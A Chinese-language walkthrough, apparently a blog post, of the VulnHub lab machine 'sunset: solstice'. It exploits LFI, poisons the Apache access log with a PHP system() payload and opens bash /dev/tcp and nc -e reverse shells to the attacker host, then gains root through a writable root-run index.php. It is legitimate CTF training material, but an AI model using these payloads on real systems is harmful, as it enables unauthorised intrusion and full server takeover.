vulnhub sunset: solstice

渗透思路:

nmap扫描端口 ---- 利用LFI和apache访问日志getshell ---- 利用可写的本地http服务php文件提权

环境信息:

靶机:192.168.101.97

攻击机:192.168.101.34

具体步骤:

1、nmap扫描端口

sudo nmap -sV -sC -p- 192.168.101.97

扫描到一堆端口,大部分都是兔子洞

2、利用LFI和apache访问日志getshell

访问http://192.168.101.97:8593/,然后点一下Book List,发现url变成http://192.168.101.97:8593/index.php?book=list

用/etc/passwd来尝试以上url是否有LFI漏洞,访问http://192.168.101.97:8593/index.php?book=../../../../etc/passwd,读取到了/etc/passwd的内容

接着由于nmap扫描出80端口是apache httpd 2.4.38,所以在网上找到apache2的访问日志可能保存的文件路径,挨个进行文件包含看看访问日志到底保存在哪里,最后发现在/var/log/apache2/access.log

(下图为访问http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log)

接下来尝试往access.log中写入payload:

用nc访问靶机的80端口

nc 192.168.101.97 80

然后发送

GET <?php system($_GET[xiannv]); ?> HTTP/1.1

得到上图的结果后,再次访问http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log,可以看到一条GET后面内容不显示的访问日志,这就说明payload写入成功了

攻击机上nc监听8888端口

nc -nlvp 8888

接下来浏览器访问如下url,触发反弹shell:

http://192.168.101.97:8593/index.php?book=../../../../var/log/apache2/access.log&xiannv=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%31%2e%33%34%2f%38%38%38%38%20%3c%26%31%27

其中url编码部分的内容是:

bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'

得到靶机www-data用户的反弹shell

在反弹shell中输入如下命令可以得到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

3、利用可写的本地http服务php文件提权

查找所有拥有suid的文件和目录

find / -user root -perm /4000 2>/dev/null

发现个奇怪的目录/var/tmp/sv

进入该目录后,发现该目录下有个所有用户可读写的index.php,属主是root

可以通过写入payload并访问该站点下的index.php文件达到获取某个用户反弹shell的目的。不过首先需要确认三点:

1、/var/tmp/sv是哪个站点可以访问的目录

2、站点的启动者是什么权限

3、如何构造payload

首先,查看哪个站点可以访问/var/tmp/sv

ps -ef | grep sv

发现本地57端口上的http服务的根目录是/var/tmp/sv,并且启动者是root用户

关于php命令的参数解释可以看下图

然后执行nc -help发现支持-e参数

于是可以在/var/tmp/sv/index.php中写入payload:<?php system('nc 192.168.101.34 9999 -e /bin/bash'); ?>

echo "<?php system('nc 192.168.101.34 9999 -e /bin/bash'); ?>" > index.php

攻击机上监听9999端口

nc -nlvp 9999

靶机上访问本地57端口

nc 127.0.0.1 57

然后访问index.php

GET /index.php HTTP/1.1

再多按一次回车

即可得到root用户的反弹shell

分别在/home/miguel和/root下找到两个flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值